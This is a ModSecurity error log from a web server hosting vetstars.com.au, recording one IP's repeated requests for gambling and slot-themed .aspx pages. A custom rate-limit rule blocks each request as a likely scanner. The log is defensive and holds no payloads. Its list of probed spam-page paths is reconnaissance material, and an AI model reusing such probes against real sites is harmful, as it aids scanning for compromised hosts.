[Sun Feb 01 08:11:18.566732 2026] [:error] [pid 10509:tid 10579] [client 51.68.34.57:50512] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aX6aJlMNpJBihOJgwVsOfwAAAIg"]
[Sun Feb 01 08:11:20.230920 2026] [:error] [pid 10508:tid 10548] [client 51.68.34.57:50516] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aX6aKAFwdoMQv5EWp9uMsAAAAEQ"]
[Sun Feb 01 08:11:21.169416 2026] [:error] [pid 10509:tid 10578] [client 51.68.34.57:50528] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aX6aKVMNpJBihOJgwVsOhAAAAIc"]
[Sun Feb 01 08:11:23.084289 2026] [:error] [pid 2033:tid 2049] [client 51.68.34.57:43032] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aX6aK_F7B4oR5nK3T_M33AAAAQ4"]
[Sun Feb 01 08:11:23.704231 2026] [:error] [pid 2033:tid 2052] [client 51.68.34.57:43046] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aX6aK_F7B4oR5nK3T_M33wAAARE"]
[Sun Feb 01 08:11:25.833187 2026] [:error] [pid 10509:tid 10572] [client 51.68.34.57:43062] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aX6aLVMNpJBihOJgwVsOjAAAAIE"]
[Sun Feb 01 08:11:26.497713 2026] [:error] [pid 10509:tid 10575] [client 51.68.34.57:43074] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aX6aLlMNpJBihOJgwVsOjgAAAIQ"]
[Sun Feb 01 08:11:28.729248 2026] [:error] [pid 2033:tid 2044] [client 51.68.34.57:43086] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aX6aMPF7B4oR5nK3T_M36gAAAQk"]
[Sun Feb 01 08:11:29.093115 2026] [:error] [pid 2033:tid 2035] [client 51.68.34.57:43092] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aX6aMfF7B4oR5nK3T_M37QAAAQA"]
[Sun Feb 01 08:11:32.060324 2026] [:error] [pid 10509:tid 10571] [client 51.68.34.57:51590] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aX6aNFMNpJBihOJgwVsOkgAAAIA"]
[Sun Feb 01 08:11:32.522806 2026] [:error] [pid 10509:tid 10587] [client 51.68.34.57:51602] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aX6aNFMNpJBihOJgwVsOkwAAAJA"]
[Sun Feb 01 08:11:35.167895 2026] [:error] [pid 2033:tid 2041] [client 51.68.34.57:51614] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aX6aN_F7B4oR5nK3T_M4CQAAAQY"]
[Sun Feb 01 08:11:35.276898 2026] [:error] [pid 2033:tid 2051] [client 51.68.34.57:51628] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aX6aN_F7B4oR5nK3T_M4DQAAARA"]
[Sun Feb 01 08:12:05.201954 2026] [:error] [pid 10509:tid 10585] [client 51.68.34.57:51642] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aX6aVVMNpJBihOJgwVsOzAAAAI4"]
[Sun Feb 01 08:12:06.449157 2026] [:error] [pid 10508:tid 10556] [client 51.68.34.57:51632] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aX6aVgFwdoMQv5EWp9uM-AAAAEw"]
[Sun Feb 01 08:12:07.776758 2026] [:error] [pid 10509:tid 10593] [client 51.68.34.57:39264] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aX6aV1MNpJBihOJgwVsO0wAAAJY"]
[Sun Feb 01 08:12:09.136675 2026] [:error] [pid 10616:tid 10642] [client 51.68.34.57:39276] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aX6aWWd8pZdmVx6pUp4TUgAAANY"]
[Sun Feb 01 08:12:10.617739 2026] [:error] [pid 10509:tid 10578] [client 51.68.34.57:39292] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aX6aWlMNpJBihOJgwVsO1gAAAIc"]
[Sun Feb 01 08:12:11.807530 2026] [:error] [pid 2033:tid 2056] [client 51.68.34.57:51044] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aX6aW_F7B4oR5nK3T_M4UwAAARM"]
[Sun Feb 01 08:12:13.299471 2026] [:error] [pid 10506:tid 10537] [client 51.68.34.57:51046] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aX6aXa32IC2Db4uwFyPEAgAAABU"]
[Sun Feb 01 08:12:14.851196 2026] [:error] [pid 2033:tid 2050] [client 51.68.34.57:51058] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aX6aXvF7B4oR5nK3T_M4XAAAAQ8"]
[Sun Feb 01 08:12:16.083980 2026] [:error] [pid 2033:tid 2038] [client 51.68.34.57:51072] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aX6aYPF7B4oR5nK3T_M4YgAAAQM"]
[Sun Feb 01 08:12:17.932080 2026] [:error] [pid 10616:tid 10620] [client 51.68.34.57:51076] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aX6aYWd8pZdmVx6pUp4TYgAAAMA"]
[Sun Feb 01 08:12:18.903851 2026] [:error] [pid 10506:tid 10527] [client 51.68.34.57:51088] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aX6aYq32IC2Db4uwFyPEBwAAAAs"]
[Sun Feb 01 08:12:20.632848 2026] [:error] [pid 10506:tid 10524] [client 51.68.34.57:51098] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aX6aZK32IC2Db4uwFyPECgAAAAg"]
[Sun Feb 01 08:12:21.606461 2026] [:error] [pid 10509:tid 10592] [client 51.68.34.57:51100] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aX6aZVMNpJBihOJgwVsO6QAAAJU"]
[Sun Feb 01 08:12:23.367238 2026] [:error] [pid 10616:tid 10635] [client 51.68.34.57:41734] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aX6aZ2d8pZdmVx6pUp4TcwAAAM8"]
[Sun Feb 01 08:12:24.237435 2026] [:error] [pid 10508:tid 10565] [client 51.68.34.57:41748] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aX6aaAFwdoMQv5EWp9uNBgAAAFU"]
[Sun Feb 01 08:12:26.196872 2026] [:error] [pid 10616:tid 10639] [client 51.68.34.57:41750] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aX6aamd8pZdmVx6pUp4TgAAAANM"]
[Sun Feb 01 08:12:27.001812 2026] [:error] [pid 2033:tid 2038] [client 51.68.34.57:41754] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aX6aa_F7B4oR5nK3T_M4cQAAAQM"]
[Sun Feb 01 08:12:29.071344 2026] [:error] [pid 10506:tid 10529] [client 51.68.34.57:41766] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aX6aba32IC2Db4uwFyPEFgAAAA0"]
[Sun Feb 01 08:12:29.712722 2026] [:error] [pid 10506:tid 10523] [client 51.68.34.57:41772] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aX6aba32IC2Db4uwFyPEGQAAAAc"]
[Sun Feb 01 08:12:31.910755 2026] [:error] [pid 10509:tid 10582] [client 51.68.34.57:54052] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aX6ab1MNpJBihOJgwVsO-AAAAIs"]
[Sun Feb 01 08:12:32.256163 2026] [:error] [pid 10506:tid 10520] [client 51.68.34.57:54054] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aX6acK32IC2Db4uwFyPEHgAAAAQ"]
[Sun Feb 01 08:12:34.728894 2026] [:error] [pid 10506:tid 10537] [client 51.68.34.57:54066] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aX6acq32IC2Db4uwFyPEJQAAABU"]
[Sun Feb 01 08:12:34.872780 2026] [:error] [pid 10508:tid 10550] [client 51.68.34.57:54068] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aX6acgFwdoMQv5EWp9uNFwAAAEY"]
[Sun Feb 01 08:12:37.299960 2026] [:error] [pid 10509:tid 10593] [client 51.68.34.57:54072] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aX6adVMNpJBihOJgwVsO_wAAAJY"]
[Sun Feb 01 08:12:37.755008 2026] [:error] [pid 10616:tid 10637] [client 51.68.34.57:54086] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aX6adWd8pZdmVx6pUp4TjgAAANE"]
[Sun Feb 01 08:12:39.946785 2026] [:error] [pid 10616:tid 10631] [client 51.68.34.57:54098] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aX6ad2d8pZdmVx6pUp4TlQAAAMs"]
[Sun Feb 01 08:12:40.447322 2026] [:error] [pid 10616:tid 10638] [client 51.68.34.57:54106] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aX6aeGd8pZdmVx6pUp4TmAAAANI"]
[Sun Feb 01 08:12:42.670558 2026] [:error] [pid 10616:tid 10627] [client 51.68.34.57:34084] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aX6aemd8pZdmVx6pUp4TnQAAAMc"]
[Sun Feb 01 08:12:42.973184 2026] [:error] [pid 10508:tid 10552] [client 51.68.34.57:34088] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aX6aegFwdoMQv5EWp9uNIwAAAEg"]
[Sun Feb 01 08:12:45.469895 2026] [:error] [pid 10509:tid 10593] [client 51.68.34.57:34090] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aX6afVMNpJBihOJgwVsPDgAAAJY"]
[Sun Feb 01 08:12:45.826190 2026] [:error] [pid 10616:tid 10623] [client 51.68.34.57:34106] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aX6afWd8pZdmVx6pUp4TowAAAMM"]
[Sun Feb 01 08:12:48.117226 2026] [:error] [pid 10616:tid 10626] [client 51.68.34.57:34112] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aX6agGd8pZdmVx6pUp4TqAAAAMY"]
[Sun Feb 01 08:12:48.569594 2026] [:error] [pid 10616:tid 10641] [client 51.68.34.57:34120] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aX6agGd8pZdmVx6pUp4TqgAAANU"]
[Sun Feb 01 08:12:51.221530 2026] [:error] [pid 2033:tid 2069] [client 51.68.34.57:34132] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aX6ag_F7B4oR5nK3T_M4mQAAARg"]
[Sun Feb 01 08:12:51.271212 2026] [:error] [pid 2033:tid 2046] [client 51.68.34.57:34146] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aX6ag_F7B4oR5nK3T_M4mgAAAQs"]
[Sun Feb 01 08:12:53.794759 2026] [:error] [pid 10616:tid 10620] [client 51.68.34.57:53446] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aX6ahWd8pZdmVx6pUp4TsQAAAMA"]
[Sun Feb 01 08:12:53.856684 2026] [:error] [pid 10508:tid 10565] [client 51.68.34.57:53454] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aX6ahQFwdoMQv5EWp9uNRwAAAFU"]
[Sun Feb 01 08:12:56.277833 2026] [:error] [pid 10509:tid 10587] [client 51.68.34.57:53462] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aX6aiFMNpJBihOJgwVsPGgAAAJA"]
[Sun Feb 01 08:12:56.827681 2026] [:error] [pid 10508:tid 10546] [client 51.68.34.57:53474] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aX6aiAFwdoMQv5EWp9uNTAAAAEI"]
[Sun Feb 01 08:12:58.902233 2026] [:error] [pid 10509:tid 10576] [client 51.68.34.57:53488] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aX6ailMNpJBihOJgwVsPIwAAAIU"]
[Sun Feb 01 08:12:59.430640 2026] [:error] [pid 2033:tid 2046] [client 51.68.34.57:53490] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aX6ai_F7B4oR5nK3T_M4pAAAAQs"]
[Sun Feb 01 08:13:01.643690 2026] [:error] [pid 10509:tid 10573] [client 51.68.34.57:53506] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aX6ajVMNpJBihOJgwVsPJgAAAII"]
